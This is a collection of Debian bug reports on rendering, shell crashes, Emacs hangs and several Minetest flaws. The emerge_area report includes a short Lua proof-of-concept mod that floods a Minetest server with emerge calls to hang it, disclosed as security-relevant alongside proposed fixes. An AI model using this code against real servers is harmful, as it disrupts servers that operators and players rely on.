  const char *vers = (const char*) glGetString(GL_VERSION);
  const char *rend = (const char*) glGetString(GL_RENDERER);
  fprintf(stderr, "OpenGL is version %s\n", vers);
  fprintf(stderr, "OpenGL renderer %s\n", rend);
  const char *exts = (const char*) glGetString(GL_EXTENSIONS);
  //fprintf(stderr, "OpenGL has extensions %s\n", exts);
  if (!strstr(exts, "GL_ARB_multitexture")) return false;
  if (!strstr(exts, "GL_ARB_depth_texture")) return false;
  if (!strstr(exts, "GL_ARB_shadow")) return false;
  if (!strstr(exts, "GL_EXT_framebuffer_object")) return false;
  if (!strstr(exts, "GL_ARB_vertex_shader")) return false;
  if (!strstr(exts, "GL_ARB_fragment_shader")) return false;
  if (!strstr(exts, "GL_ARB_shader_objects")) return false;
  return true;
}
--- >8 --- snap --- >8 ---

The Irrlicht engine manages to do bug-free realtime shadows on the same GPU.
Therefore, I assume that this issue can be worked around relatively easily.

-- System Information:
Debian Release: 11.3
  APT prefers stable
  APT policy: (900, 'stable'), (500, 'oldoldstable')
Architecture: i386 (i686)

Kernel: Linux 5.10.0-10-686 (SMP w/2 CPU threads)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8), LANGUAGE not set
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages stormbaancoureur depends on:
ii  freeglut3   2.8.1-6
ii  libasound2  1.2.4-1.1
ii  libc6   2.31-13+deb11u3
ii  libgcc-s1   10.2.1-6
ii  libgl1  1.3.2-1
ii  libglu1-mesa [libglu1]  9.0.1-1
ii  libode8 2:0.16.2-1
ii  libplib11.8.5-8+deb11u1
ii  libstdc++6  10.2.1-6
ii  stormbaancoureur-data   2.1.6-3

stormbaancoureur recommends no packages.

stormbaancoureur suggests no packages.

-- no debconf information



Bug#1014937: stormbaancoureur: Slow/wrong rendering on Intel 945GM x86/MMX/SSE2

2022-07-14 Thread Nils Dagsson Moskopp
Package: stormbaancoureur
Version: 2.1.6-3
Severity: important
Tags: patch
X-Debbugs-Cc: nils+debian-report...@dieweltistgarnichtso.net

Dear Maintainer,

when I started stormbaancoureur, it had very low FPS (about 3) in racing mode.
Additionally, the level textures looked broken – a bit like a moiré effect.

I expected the game to look non-broken and run well on my Thinkpad T60.

Using software rendering with LIBGL_ALWAYS_SOFTWARE=1 I got about 14 FPS.
In the main menu I got over 30 FPS, always, which seemed highly unusual …

I remembered the game running fine on worse hardware than I am using now.
Henwe, I tried to disable Mesa extensions by year. I found the following:

The game ran fine using: MESA_EXTENSION_MAX_YEAR=2001 stormbaancoureur 
The game was broken using: MESA_EXTENSION_MAX_YEAR=2002 stormbaancoureur

To figure out which extensions this could be i looked at glxinfo output.
It reported different extensions based on the MESA_EXTENSION_MAX_YEAR.

Here is a word-diff of the extensions between 2001 and 2002:

--- 8< --- snip --- 8< ---
@@ -61,28 +61,32 @@ OpenGL vendor string: Intel Open Source Technology Center
OpenGL renderer string: Mesa DRI Intel(R) 945GM x86/MMX/SSE2
OpenGL version string: 1.4 Mesa 20.3.5
OpenGL extensions:
GL_3DFX_texture_compression_FXT1, {+GL_APPLE_packed_pixels,+} 
GL_ARB_depth_texture, {+GL_ARB_draw_buffers, GL_ARB_fragment_program, +}
{+GL_ARB_fragment_shader,+} GL_ARB_multisample, GL_ARB_multitexture, 
GL_ARB_point_parameters, {+GL_ARB_shader_objects,+} GL_ARB_shadow, 
GL_ARB_texture_border_clamp, GL_ARB_texture_compression, 
GL_ARB_texture_cube_map, GL_ARB_texture_env_add, 
GL_ARB_texture_env_combine, GL_ARB_texture_env_crossbar, 
GL_ARB_texture_env_dot3, GL_ARB_texture_mirrored_repeat, 
GL_ARB_transpose_matrix, {+GL_ARB_vertex_program, GL_ARB_vertex_shader,+} 
GL_ARB_window_pos, {+GL_ATI_draw_buffers, GL_ATI_texture_env_combine3,+} 
GL_EXT_abgr, GL_EXT_bgra, GL_EXT_blend_color, GL_EXT_blend_func_separate, 
GL_EXT_blend_minmax, GL_EXT_blend_subtract, GL_EXT_compiled_vertex_array, 
GL_EXT_copy_texture, GL_EXT_draw_range_elements, GL_EXT_fog_coord, 
GL_EXT_framebuffer_object, GL_EXT_multi_draw_arrays, GL_EXT_packed_pixels, 
GL_EXT_point_parameters, GL_EXT_rescale_normal, GL_EXT_secondary_color, 
GL_EXT_separate_specular_color, {+GL_EXT_shadow_funcs,+} 
GL_EXT_stencil_two_side, {+GL_EXT_stencil_wrap,+} GL_EXT_subtexture, 
GL_EXT_texture, GL_EXT_texture3D, GL_EXT_texture_compression_s3tc, 
GL_EXT_texture_cube_map, GL_EXT_texture_edge_clamp, 
GL_EXT_texture_env_add, GL_EXT_texture_env_combine, 
GL_EXT_texture_env_dot3, GL_EXT_texture_filter_anisotropic, 
GL_EXT_texture_lod_bias, GL_EXT_texture_object, GL_EXT_vertex_array, 
GL_IBM_multimode_draw_arrays, GL_IBM_rasterpos_clip, 
GL_IBM_texture_mirrored_repeat, GL_INGR_blend_func_separate, 
{+GL_MESA_pack_invert,+} GL_MESA_window_pos, {+GL_MESA_ycbcr_texture,+} 
GL_NV_blend_square, GL_NV_light_max_exponent, GL_NV_packed_depth_stencil, 
GL_NV_texgen_reflection, GL_NV_texture_env_combine4, 
GL_NV_texture_rectangle, GL_S3_s3tc, GL_SGIS_generate_mipmap, 
GL_SGIS_texture_border_clamp, GL_SGIS_texture_edge_clamp, 
--- >8 --- snap --- >8 ---

Disabling any of th the following extensions makes the game run well:

GL_ARB_fragment_shader
GL_ARB_vertex_shader
GL_EXT_shadow_funcs

A line in the output of stormbaancoureur changed in all cases from

“This platform supports all required GL extensions to do hardware accelerated 
shadowing.”

to

“This platform does not support all required GL extensions to do hardware 
accelerated shadowing.
”

therefore it seems to me that shadow rendering is (at least partially) broken.

To make the game run well, I suggest to make it start using:

MESA_EXTENSION_OVERRIDE='-GL_EXT_shadow_funcs' stormbaancoureur

If you do not want to always disable shadows, please add a hint to the man page.

-- System Information:
Debian Release: 11.3
  APT prefers stable
  APT policy: (900, 'stable'), (500, 'oldoldstable')
Architecture: i386 (i686)

Kernel: Linux 5.10.0-10-686 (SMP w/2 CPU threads)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8), LANGUAGE not set
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages stormbaancoureur depends on:
ii  freeglut3   2.8.1-6
ii  libasound2  1.2.4-1.1
ii  libc6   2.31-13+deb11u3
ii  libgcc-s1   10.2.1-6
ii  libgl1  1.3.2-1
ii  libglu1-mesa [libglu1]  9.0.1-1
ii  libode8 2:0.16.2-1
ii  libplib11.8.5-8+deb11u1
ii  libstdc++6  10.2.1-6
ii  stormbaancoureur-data   2.1.6-3

stormbaancoureur recommends no packages.

stormbaancoureur suggests no packages.

-- no debconf information


Bug#1004645: rc: Tab complete leads to crash on some (e.g. empty) lines

2022-06-02 Thread Nils Dagsson Moskopp
Bernhard Übelacker  writes:

> Hello Nils,
> I tried to reproduce the issue but it showed not up
> for me in a minimal Bullseye i386 VM.
>
> Therefore I guess the maintainer might need some more informations.
>
> Maybe you could try again with installing valgrind and starting rc like this:
>valgrind rc

I did this and then pressed tab on an empty line and got the following:

--- snip ---
==6292== Invalid free() / delete / delete[] / realloc()
==6292==at 0x4837867: free (in 
/usr/lib/i386-linux-gnu/valgrind/vgpreload_memcheck-x86-linux.so)
==6292==by 0x1134BF: ??? (in /usr/bin/rc.byron)
==6292==by 0x118B7C: ??? (in /usr/bin/rc.byron)
==6292==by 0x118473: ??? (in /usr/bin/rc.byron)
==6292==by 0x488B775: rl_completion_matches (in 
/lib/i386-linux-gnu/libreadline.so.8.1)
==6292==by 0x118760: ??? (in /usr/bin/rc.byron)
==6292==by 0x488B8C2: ??? (in /lib/i386-linux-gnu/libreadline.so.8.1)
==6292==by 0x488BAC7: rl_complete_internal (in 
/lib/i386-linux-gnu/libreadline.so.8.1)
==6292==by 0x488C0B8: rl_complete (in 
/lib/i386-linux-gnu/libreadline.so.8.1)
==6292==by 0x488053A: _rl_dispatch_subseq (in 
/lib/i386-linux-gnu/libreadline.so.8.1)
==6292==by 0x4880A56: _rl_dispatch (in 
/lib/i386-linux-gnu/libreadline.so.8.1)
==6292==by 0x4880B3D: readline_internal_char (in 
/lib/i386-linux-gnu/libreadline.so.8.1)
==6292==  Address 0x4b187e0 is 0 bytes inside a block of size 24 free'd
==6292==at 0x4837867: free (in 
/usr/lib/i386-linux-gnu/valgrind/vgpreload_memcheck-x86-linux.so)
==6292==by 0x1134BF: ??? (in /usr/bin/rc.byron)
==6292==by 0x118B60: ??? (in /usr/bin/rc.byron)
==6292==by 0x118473: ??? (in /usr/bin/rc.byron)
==6292==by 0x488B775: rl_completion_matches (in 
/lib/i386-linux-gnu/libreadline.so.8.1)
==6292==by 0x118760: ??? (in /usr/bin/rc.byron)
==6292==by 0x488B8C2: ??? (in /lib/i386-linux-gnu/libreadline.so.8.1)
==6292==by 0x488BAC7: rl_complete_internal (in 
/lib/i386-linux-gnu/libreadline.so.8.1)
==6292==by 0x488C0B8: rl_complete (in 
/lib/i386-linux-gnu/libreadline.so.8.1)
==6292==by 0x488053A: _rl_dispatch_subseq (in 
/lib/i386-linux-gnu/libreadline.so.8.1)
==6292==by 0x4880A56: _rl_dispatch (in 
/lib/i386-linux-gnu/libreadline.so.8.1)
==6292==by 0x4880B3D: readline_internal_char (in 
/lib/i386-linux-gnu/libreadline.so.8.1)
==6292==  Block was alloc'd at
==6292==at 0x483663B: malloc (in 
/usr/lib/i386-linux-gnu/valgrind/vgpreload_memcheck-x86-linux.so)
==6292==by 0x1133AF: ??? (in /usr/bin/rc.byron)
==6292==by 0x118660: ??? (in /usr/bin/rc.byron)
==6292==by 0x118B25: ??? (in /usr/bin/rc.byron)
==6292==by 0x118473: ??? (in /usr/bin/rc.byron)
==6292==by 0x488B775: rl_completion_matches (in 
/lib/i386-linux-gnu/libreadline.so.8.1)
==6292==by 0x118760: ??? (in /usr/bin/rc.byron)
==6292==by 0x488B8C2: ??? (in /lib/i386-linux-gnu/libreadline.so.8.1)
==6292==by 0x488BAC7: rl_complete_internal (in 
/lib/i386-linux-gnu/libreadline.so.8.1)
==6292==by 0x488C0B8: rl_complete (in 
/lib/i386-linux-gnu/libreadline.so.8.1)
==6292==by 0x488053A: _rl_dispatch_subseq (in 
/lib/i386-linux-gnu/libreadline.so.8.1)
==6292==by 0x4880A56: _rl_dispatch (in 
/lib/i386-linux-gnu/libreadline.so.8.1)
==6292== 
--- snap ---

When invoked under valgrind, rc did not crash after this output.

> Or maybe running in within gdb might show a backtrace,
> maybe also setting the environment MALLOC_CHECK_=2 before
> might improve the gathered informations.
>
> Kind regards,
> Bernhard
>
> [1] https://wiki.debian.org/HowToGetABacktrace

Do I still need to do this or is the above information enough?

Thank you,
Nils



Bug#1010827: minetest: wrong find_nodes_in_area() volume calculation can crash or hang server

2022-05-10 Thread Nils Dagsson Moskopp
Package: minetest
Version: 5.3.0+repack-2.1+deb11u1
Severity: normal
Tags: patch upstream
X-Debbugs-Cc: nils+debian-report...@dieweltistgarnichtso.net

Dear Maintainer,

Minetest before version 5.5.0 has an implementation of the function 
minetest.find_nodes_in_area() that can be used by clients to hang a 
server. Attached is a proof of concept Lua code to this bug report; 
you can run the “/areatest” command to crash Minetest with an error 
message that states “area volume exceeds allowed value of 4096000”.

This issue is security-relevant: It can be used by clients to crash 
or hang the server, depending on the exact coordinates given to the 
function minetest.find_nodes_in_area().

Minetest issue: 

Note that the upstream fix for this is actually faulty, as Minetest 
developers reused the constant MAX_MAP_GENERATION_LIMIT, neglegting 
that it is unsuited for bounds checking – as the map generator only 
stops after overrunning it. Basically: Minetest developers have bad 
understanding of how Minetest map generator works at map boundaries 
and are unwilling to introduce bounds checks in advance of anything 
proven to crash or hang for fear of performance losses.

Minetest patch: 

Again, the above patch is faulty and should not be applied – it has 
caused at least one other bug. which may or may not be mitigated by 
raising MAX_MAP_GENERATION_LIMIT to 31007 (I am unsure about that … 
it might be that the current version of Minetest still has issues).

Minetest bug: 

Before Minetest upstream came up with their questionable fix, I had 
come up with a fix which wraps around minetest.find_nodes_in_area() 
to prevent the crash. It is fully unit-tested, AFAIK it works 100%.

You can see the entire patch and the unit test for it here:

It is written in the form of Lua wrapper code for Minetest.

If you are unsure on how to integrate it, I can try to help.

-- System Information:
Debian Release: 11.3
  APT prefers stable
  APT policy: (900, 'stable'), (500, 'oldoldstable')
Architecture: i386 (i686)

Kernel: Linux 5.10.0-10-686 (SMP w/2 CPU threads)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8), LANGUAGE not set
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages minetest depends on:
ii  libc6 2.31-13+deb11u3
ii  libcurl3-gnutls   7.74.0-1.3+deb11u1
ii  libfreetype6  2.10.4+dfsg-1
ii  libgcc-s1 10.2.1-6
ii  libgmp10  2:6.2.1+dfsg-1+deb11u1
ii  libirrlicht1.81.8.4+dfsg1-1.1
ii  libjsoncpp24  1.9.4-4
ii  libleveldb1d  1.22-3
ii  libluajit-5.1-2   2.1.0~beta3+dfsg-5.3
ii  libncursesw6  6.2+20201114-2
ii  libopenal11:1.19.1-2
ii  libpq513.5-0+deb11u1
ii  libspatialindex6  1.9.3-2
ii  libsqlite3-0  3.34.1-3
ii  libstdc++610.2.1-6
ii  libtinfo6 6.2+20201114-2
ii  libvorbisfile31.3.7-1
ii  libx11-6  2:1.7.2-1
ii  minetest-data 5.3.0+repack-2.1+deb11u1
ii  zlib1g1:1.2.11.dfsg-2

minetest recommends no packages.

Versions of packages minetest suggests:
pn  minetest-mod-moreblocks  
pn  minetest-mod-moreores
pn  minetest-mod-pipeworks   
pn  minetest-server  
pn  minetestmapper   

-- no debconf information


Bug#1010816: minetest.emerge_area() call with invalid position can hang server

2022-05-10 Thread Nils Dagsson Moskopp
Package: minetest
Version: 5.3.0+repack-2.1+deb11u1
Severity: normal
Tags: upstream
X-Debbugs-Cc: nils+debian-report...@dieweltistgarnichtso.net

Dear Maintainer,

calling minetest.emerge_area() with the first argument being a position 
where x equals 32767 causes RAM and CPU usage to spike, as the Minetest 
server queues 4096 emerge calls instead of 0. Note that as of now, such 
a position is nonsensical, as the map generator stops generating around 
x=31007 or so. It takes a long time to process these emerge calls, even 
if a server has enough spare RAM and CPU resources to not hang forever.

This bug is security-relevant: A malicious client could provoke servers 
into emerging an area – e.g. if it can trigger structure placement code 
that does not have bounds checks. So far I have never seen such code in 
any mod that had any bounds checks for minetest.emerge_area() calls.

I have attached proof of concept code. To verify the bug, name the file 
init.lua, put it in a folder that is in the minetest mods folder (named 
crash_emerge) then enter a world with the mod “crash_emerge” activated.

This bug likely affects all Minetest versions and is not fixed upstream. 

A fix for all versions of Minetest would be to write a mod that wraps 
the function minetest.emerge_area() and checks if the given positions 
are out of bounds, not calling minetest.emerge_area() if that is true.

-- System Information:
Debian Release: 11.3
  APT prefers stable
  APT policy: (900, 'stable'), (500, 'oldoldstable')
Architecture: i386 (i686)

Kernel: Linux 5.10.0-10-686 (SMP w/2 CPU threads)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8), LANGUAGE not set
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages minetest depends on:
ii  libc6 2.31-13+deb11u3
ii  libcurl3-gnutls   7.74.0-1.3+deb11u1
ii  libfreetype6  2.10.4+dfsg-1
ii  libgcc-s1 10.2.1-6
ii  libgmp10  2:6.2.1+dfsg-1+deb11u1
ii  libirrlicht1.81.8.4+dfsg1-1.1
ii  libjsoncpp24  1.9.4-4
ii  libleveldb1d  1.22-3
ii  libluajit-5.1-2   2.1.0~beta3+dfsg-5.3
ii  libncursesw6  6.2+20201114-2
ii  libopenal11:1.19.1-2
ii  libpq513.5-0+deb11u1
ii  libspatialindex6  1.9.3-2
ii  libsqlite3-0  3.34.1-3
ii  libstdc++610.2.1-6
ii  libtinfo6 6.2+20201114-2
ii  libvorbisfile31.3.7-1
ii  libx11-6  2:1.7.2-1
ii  minetest-data 5.3.0+repack-2.1+deb11u1
ii  zlib1g1:1.2.11.dfsg-2

minetest recommends no packages.

Versions of packages minetest suggests:
pn  minetest-mod-moreblocks  
pn  minetest-mod-moreores
pn  minetest-mod-pipeworks   
pn  minetest-server  
pn  minetestmapper   

-- no debconf information
local emerge = function()
local i = 32767
minetest.emerge_area(
{ x=i, y=0, z=0 },
{ x=i+1, y=0, z=0 },
function(blockpos, action, calls_remaining)
minetest.debug(
dump(
calls_remaining,
i
)
)
end
)
end

minetest.after( 0, emerge )


Bug#1010760: minetest: Floating point serialization error on x86

2022-05-09 Thread Nils Dagsson Moskopp
Package: minetest
Version: 5.3.0+repack-2.1+deb11u1
Severity: normal
Tags: patch upstream
X-Debbugs-Cc: nils+debian-report...@dieweltistgarnichtso.net

Dear Maintainer,

Minetest in versions lower than 5.5.0 is being miscompiled by GCC on 
x86. To verify this bug, run Minetest using “minetest --run-unittests” 
on x86 and look for the following three lines:

Test assertion failed: readF1000(is) == 53.534f
at test_serialization.cpp:308
[FAIL] testStreamRead - 0ms

The reason for this is that the x87 FPU computes in 80bit precision by 
default, while IEEE-754 requires 64 bit precision.

There exist two ways to solve this. Upstream forces SSE2 for floating 
point calculations, by adding the following to CMakeLists.txt on x86:

--- start of patch ---
# use SSE for floating-point operations to avoid issues with improper 
fp-rounding and loss of precision
# when moving fp-data to incompatible or less-precise registers/storage 
locations
# see https://gcc.gnu.org/wiki/FloatingPointMath and 
https://gcc.gnu.org/wiki/x87note

add_compile_options(-mfpmath=sse -msse2)
--- end of patch ---

A non-SSE2 way is to achieve this is to use the compiler option “-mpc64”. 
Both achieve the same goal, calculating with 64 bit precision instead of 
doing calculations with 80 bit precision and then rounding the result to 
64 bit (which makes the unit test fail).

I therefore suggest to instead try the following to CMakeLists.txt on x86:

--- start of patch ---
# Limit x87 FPU to 64 bit precision to avoid floating point precision 
# errors. See both https://gcc.gnu.org/wiki/FloatingPointMath and 
# https://gcc.gnu.org/wiki/x87note for more details about this.

add_compile_options(-mpc64)
--- end of patch ---

If you use the latter, verify that this makes the testStreamRead not fail.

There is no need to upstream this change, as it has already been fixed 
in Minetest 5.5.0, but since it affects serialization, it might lead to 
some crashes or maybe even security bugs if Minetest 5.3.x and 5.4.x are 
being distributed in ways that floating point calculations are miscompiled.

For full context, see .

-- System Information:
Debian Release: 11.3
  APT prefers stable
  APT policy: (900, 'stable'), (500, 'oldoldstable')
Architecture: i386 (i686)

Kernel: Linux 5.10.0-10-686 (SMP w/2 CPU threads)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8), LANGUAGE not set
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages minetest depends on:
ii  libc6 2.31-13+deb11u3
ii  libcurl3-gnutls   7.74.0-1.3+deb11u1
ii  libfreetype6  2.10.4+dfsg-1
ii  libgcc-s1 10.2.1-6
ii  libgmp10  2:6.2.1+dfsg-1+deb11u1
ii  libirrlicht1.81.8.4+dfsg1-1.1
ii  libjsoncpp24  1.9.4-4
ii  libleveldb1d  1.22-3
ii  libluajit-5.1-2   2.1.0~beta3+dfsg-5.3
ii  libncursesw6  6.2+20201114-2
ii  libopenal11:1.19.1-2
ii  libpq513.5-0+deb11u1
ii  libspatialindex6  1.9.3-2
ii  libsqlite3-0  3.34.1-3
ii  libstdc++610.2.1-6
ii  libtinfo6 6.2+20201114-2
ii  libvorbisfile31.3.7-1
ii  libx11-6  2:1.7.2-1
ii  minetest-data 5.3.0+repack-2.1+deb11u1
ii  zlib1g1:1.2.11.dfsg-2

minetest recommends no packages.

Versions of packages minetest suggests:
pn  minetest-mod-moreblocks  
pn  minetest-mod-moreores
pn  minetest-mod-pipeworks   
pn  minetest-server  
pn  minetestmapper   

-- no debconf information


Bug#1010759: minetest: item count unreadable due to error in rectangle drawing code

2022-05-09 Thread Nils Dagsson Moskopp
Package: minetest
Version: 5.3.0+repack-2.1+deb11u1
Severity: normal
Tags: patch upstream
X-Debbugs-Cc: nils+debian-report...@dieweltistgarnichtso.net

Dear Maintainer,

due to faulty drawing code, the item count has no background rectangle.
To quote the person who discovered the issue & has fixed the rendering:

> The original code was using the wrong overloaded constructor of rect,
> using two points instead of one point and dimension, this patch makes it 
> work like it was originally intended.

This often makes an item count very hard to read even with 20/20 vision.

You can verify this easily by holding an item stack with the item string 
“vessels:glass_fragments” (included in the default game) with a count of 
2 or more: The item count in the lower right corner of the rendered item 
stack is almost entirely unreadable, as white digits are rendered on the 
mostly-white item background.

I am including a patch to fix this, since upstream only ever focuses on 
new releases and people are using older versions of Minetest. The patch 
is tested to work with Minetest 5.4.1; please apply it to all versions.

Do not bother upstreaming the patch as upstream is aware of the issue –
see  for full context.

-- System Information:
Debian Release: 11.3
  APT prefers stable
  APT policy: (900, 'stable'), (500, 'oldoldstable')
Architecture: i386 (i686)

Kernel: Linux 5.10.0-10-686 (SMP w/2 CPU threads)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8), LANGUAGE not set
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages minetest depends on:
ii  libc6 2.31-13+deb11u3
ii  libcurl3-gnutls   7.74.0-1.3+deb11u1
ii  libfreetype6  2.10.4+dfsg-1
ii  libgcc-s1 10.2.1-6
ii  libgmp10  2:6.2.1+dfsg-1+deb11u1
ii  libirrlicht1.81.8.4+dfsg1-1.1
ii  libjsoncpp24  1.9.4-4
ii  libleveldb1d  1.22-3
ii  libluajit-5.1-2   2.1.0~beta3+dfsg-5.3
ii  libncursesw6  6.2+20201114-2
ii  libopenal11:1.19.1-2
ii  libpq513.5-0+deb11u1
ii  libspatialindex6  1.9.3-2
ii  libsqlite3-0  3.34.1-3
ii  libstdc++610.2.1-6
ii  libtinfo6 6.2+20201114-2
ii  libvorbisfile31.3.7-1
ii  libx11-6  2:1.7.2-1
ii  minetest-data 5.3.0+repack-2.1+deb11u1
ii  zlib1g1:1.2.11.dfsg-2

minetest recommends no packages.

Versions of packages minetest suggests:
pn  minetest-mod-moreblocks  
pn  minetest-mod-moreores
pn  minetest-mod-pipeworks   
pn  minetest-server  
pn  minetestmapper   

-- no debconf information
>From d8394f4d509101df1927f2ed91f5f750faebf595 Mon Sep 17 00:00:00 2001
From: Kezi 
Date: Sat, 5 Jun 2021 00:03:56 +0200
Subject: [PATCH] Draw item count background rectangle in inventory

The original code was using the wrong overloaded constructor of rect,
using two points instead of one point and dimension, this patch makes it
work like it was originally intended.

See  for context.
---
 src/client/hud.cpp | 18 --
 1 file changed, 12 insertions(+), 6 deletions(-)

diff --git a/src/client/hud.cpp b/src/client/hud.cpp
index 46736b325..99a1c03fb 100644
--- a/src/client/hud.cpp
+++ b/src/client/hud.cpp
@@ -1098,15 +1098,21 @@ void drawItemStack(
v2u32 dim = font->getDimension(utf8_to_wide(text).c_str());
v2s32 sdim(dim.X, dim.Y);
 
-   core::rect rect2(
-   /*rect.UpperLeftCorner,
-   core::dimension2d(rect.getWidth(), 15)*/
-   rect.LowerRightCorner - sdim,
-   sdim
+   const s32 horizontal_padding = 3; //px
+   core::position2d offset(-5,-2);
+
+   core::rect background_rect(
+   rect.LowerRightCorner - sdim + 
core::position2d(-horizontal_padding,0) + offset,
+   rect.LowerRightCorner + 
core::position2d(horizontal_padding,0) + offset
);
 
video::SColor bgcolor(128, 0, 0, 0);
-   driver->draw2DRectangle(bgcolor, rect2, clip);
+   driver->draw2DRectangle(bgcolor, background_rect, clip);
+
+   core::rect rect2(
+   rect.LowerRightCorner - sdim + offset,
+   rect.LowerRightCorner + offset
+   );
 
video::SColor color(255, 255, 255, 255);
font->draw(text.c_str(), rect2, color, false, false, clip);
-- 
2.30.2



Bug#1005048: elpa-lua-mode: Emacs hangs when I press enter twice on line 534 of a lua file

2022-02-05 Thread Nils Dagsson Moskopp
Package: elpa-lua-mode
Version: 20201010-1
Severity: normal
X-Debbugs-Cc: nils+debian-report...@dieweltistgarnichtso.net

Dear Maintainer,

when working on Mineclonia https://git.minetest.land/Mineclonia/Mineclonia/
Emacs hung itself.  I have attached a lua file that is part of Mineclonia.
Pressing enter twice on line 534 reproducibly hangs Emacs on my machine.

I expected Emacs to not hang when I pressed enter twice on line 534 of 
the attached file.

Greetings!

-- System Information:
Debian Release: 11.2
  APT prefers stable
  APT policy: (900, 'stable'), (500, 'oldoldstable')
Architecture: i386 (i686)

Kernel: Linux 5.10.0-10-686 (SMP w/2 CPU threads)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8), LANGUAGE not set
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages elpa-lua-mode depends on:
ii  dh-elpa-helper  2.0.8
ii  emacsen-common  3.0.4

elpa-lua-mode recommends no packages.

elpa-lua-mode suggests no packages.

-- no debconf information
local S = minetest.get_translator("mcl_structures")
mcl_structures ={}
local rotations = {
"0",
"90",
"180",
"270"
}

local function ecb_place(blockpos, action, calls_remaining, param)
if calls_remaining >= 1 then return end
minetest.place_schematic(param.pos, param.schematic, param.rotation, 
param.replacements, param.force_placement, param.flags)
if param.after_placement_callback and param.p1 and param.p2 then
param.after_placement_callback(param.p1, param.p2, param.size, 
param.rotation, param.pr)
end
end
mcl_structures.place_schematic = function(pos, schematic, rotation, 
replacements, force_placement, flags, after_placement_callback, pr)
local s = loadstring(minetest.serialize_schematic(schematic, "lua", 
{lua_use_comments = false, lua_num_indent_spaces = 0}) .. " 
return(schematic)")()
if s and s.size then
local x, z = s.size.x, s.size.z
if rotation then
if rotation == "random" and pr then
rotation = rotations[pr:next(1,#rotations)]
end
if rotation == "random" then
x = math.max(x, z)
z = x
elseif rotation == "90" or rotation == "270" then
x, z = z, x
end
end
local p1 = {x=pos.x, y=pos.y   , z=pos.z}
local p2 = {x=pos.x+x-1, y=pos.y+s.size.y-1, z=pos.z+z-1}
minetest.log("verbose","[mcl_structures] size=" 
..minetest.pos_to_string(s.size) .. ", rotation=" .. tostring(rotation) .. ", 
emerge from "..minetest.pos_to_string(p1) .. " to " .. 
minetest.pos_to_string(p2))
local param = {pos=vector.new(pos), schematic=s, 
rotation=rotation, replacements=replacements, force_placement=force_placement, 
flags=flags, p1=p1, p2=p2, after_placement_callback = after_placement_callback, 
size=vector.new(s.size), pr=pr}
minetest.emerge_area(p1, p2, ecb_place, param)
end
end

mcl_structures.get_struct = function(file)
local localfile = 
minetest.get_modpath("mcl_structures").."/schematics/"..file
local file, errorload = io.open(localfile, "rb")
if errorload ~= nil then
minetest.log("error", '[mcl_structures] Could not open this 
struct: ' .. localfile)
return nil
end

local allnode = file:read("*a")
file:close()

return allnode
end

-- Call on_construct on pos.
-- Useful to init chests from formspec.
local init_node_construct = function(pos)
local node = minetest.get_node(pos)
local def = minetest.registered_nodes[node.name]
if def and def.on_construct then
def.on_construct(pos)
return true
end
return false
end

-- The call of Struct
mcl_structures.call_struct = function(pos, struct_style, rotation, pr)
minetest.log("action","[mcl_structures] call_struct " .. 
struct_style.." at "..minetest.pos_to_string(pos))
if not rotation then
rotation = "random"
end
if struct_style == "desert_temple" then
return mcl_structures.generate_desert_temple(pos, rotation, pr)
elseif struct_style == "desert_well" then
return mcl_structures.generate_desert_well(pos, rotation)
elseif struct_style == "igloo" then
return mcl_structures.generate_igloo(pos, rotation, pr)
elseif struct_style == "witch_hut" then
return mcl_structures.generate_witch_hut(pos, rotation)
elseif struct_style == "ice_spike_small" then
return mcl_structures.generate_ice_spike_small(pos, rotation)
elseif struct_style == "ice_spike_large" 

Bug#1004645: rc: Tab complete leads to crash on some (e.g. empty) lines

2022-01-30 Thread Nils Dagsson Moskopp
Package: rc
Version: 1.7.4+97.gceb59bb-4
Severity: important
X-Debbugs-Cc: nils+debian-report...@dieweltistgarnichtso.net

Dear maintainer,

I have used the rc shell for quite a while now. I really like it.

However, It fails to tab complete after an upgrade to Debian Bullseye.

When I press tab on an empty line, the rc shell crashes with this message:

free(): double free detected in tcache 2

-- System Information:
Debian Release: 11.2
  APT prefers stable
  APT policy: (900, 'stable'), (500, 'oldoldstable')
Architecture: i386 (i686)

Kernel: Linux 5.10.0-10-686 (SMP w/2 CPU threads)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8), LANGUAGE not set
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages rc depends on:
ii  libc6 2.31-13+deb11u2
ii  libreadline8  8.1-1

rc recommends no packages.

rc suggests no packages.

-- no debconf information



Bug#873578: xserver-xorg-video-all: The suggestion is ridiculous, please do not do it!

2022-01-23 Thread Nils Dagsson Moskopp
Package: xserver-xorg-video-all
Followup-For: Bug #873578
X-Debbugs-Cc: nils+debian-report...@dieweltistgarnichtso.net

Dear Maintainer,


Itai Shaked  wrote:

> I think it is safe to assume that in 2017, the vast majority of Debian 
> users will have hardware meeting this criteria, so having 
> `xserver-xorg-video-all` Recommend `xserver-xorg-video-intel` seems 
> wrong.

It is 2022 and I had to install xserver-xorg-video-intel manually to get 
a usable graphical desktop – on a computer which runs Debian just fine …

It seems to me the person suggesting this has no empathy for people who 
do not own the latest and greatest hardware. Not everyone can figure it 
